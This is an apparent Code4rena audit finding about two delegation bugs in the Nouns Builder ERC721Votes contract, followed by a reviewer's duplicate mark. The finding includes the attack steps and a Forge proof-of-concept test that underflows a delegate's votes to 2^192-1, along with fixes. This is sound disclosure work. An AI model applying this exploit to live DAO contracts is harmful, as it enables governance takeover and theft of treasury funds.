User can get 2^192-1 votes

[code423n4]

Lines of code

https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/token/ERC721Votes.sol#L179-L190
https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/lib/token/ERC721Votes.sol#L179-L190

Vulnerability details

Impact

By taking advantage of 2 bugs a user can get themselves 2^192-1 votes.
This amount of voting gives the user ability to pass or defeat any proposal.
In the best case scenario, it bricks the DAO and makes it ineffective, locking in funds.
In the worst case scenario it allows the user to pass a proposal to drain all the funds.

Proof of Concept

The 2 bugs are:

1. in delegate function the user's voting power is not decreased
2. in _afterTokenTransfer the votes are moved from the NFT owners instead of from their delegates

The steps needed to take advantage of this:

1. User (U) gets transferred one token (e.g winning auction)
   1. balanceOf(U) = votes(U) = 1
2. U delegates to D
   1. balanceOf(U) = 1, votes(U) = 1, votes(D) = 1 // due to bug Agreements & Disclosures #1
3. U gets transferred another token
   1. balanceOf(U) = 2, votes(U) = 2, votes(D) = 1 // due to bug Gas Optimizations #2 the votes go to U instead of D
4. U delegates to D2
   1. balanceOf(U) = 2, votes(U) = 2, votes(D2) = 2, votes(D) = 2^192 - 1 // D reduces delegates by 2, because the block is unchecked, the underflow is allowed

Forge test showing the issue:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;

import { NounsBuilderTest } from "../utils/NounsBuilderTest.sol";
import { TokenTypesV1 } from "../../src/token/types/TokenTypesV1.sol";

contract TokenTest is NounsBuilderTest, TokenTypesV1 {
    address user1 = address(0x1001);
    address delegate1 = address(0x2001);
    address delegate2 = address(0x2002);

    function setUp() public virtual override {
        super.setUp();

        vm.label(user1, "user1");
        vm.label(delegate1, "delegate1");
        deployMock();
    }

    function setMockFounderParams() internal virtual override {
        address[] memory wallets = new address[](1);
        uint256[] memory percents = new uint256[](1);
        uint256[] memory vestingEnds = new uint256[](1);

        wallets[0] = founder;
        percents[0] = 0;
        vestingEnds[0] = 4 weeks;

        setFounderParams(wallets, percents, vestingEnds);
    }

    function test_pown() public {
        // user1 gets one token
        vm.startPrank(address(auction));
        token.mint();
        token.transferFrom(address(auction), user1, 0);
        vm.stopPrank();

        // user1 has 1 token & 1 vote
        assertEq(token.balanceOf(user1), 1);
        assertEq(token.getVotes(user1), 1);

        vm.prank(user1);
        token.delegate(delegate1);
        assertEq(token.getVotes(user1), 1);
        assertEq(token.getVotes(delegate1), 1);

        // user1 gets another token
        vm.startPrank(address(auction));
        token.mint();
        token.transferFrom(address(auction), user1, 1);
        vm.stopPrank();

        assertEq(token.balanceOf(user1), 2);
        assertEq(token.getVotes(user1), 2);
        assertEq(token.getVotes(delegate1), 1);

        // user1 delegates to delegate2
        vm.prank(user1);
        token.delegate(delegate2);

        // delegate1 has a gazilion votes
        assertEq(token.getVotes(user1), 2);
        assertEq(token.getVotes(delegate2), 2);
        assertEq(token.getVotes(delegate1), type(uint192).max);
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Fix bug 1 by changing:
address prevDelegate = delegation[_from];
to:
address prevDelegate = delegates(_from);

Fix bug 2 by changing:
_moveDelegateVotes(_from, _to, 1);
to:
_moveDelegateVotes(delegates(_from), delegates(_to), 1);

[GalloDaSballo]

Dup of #469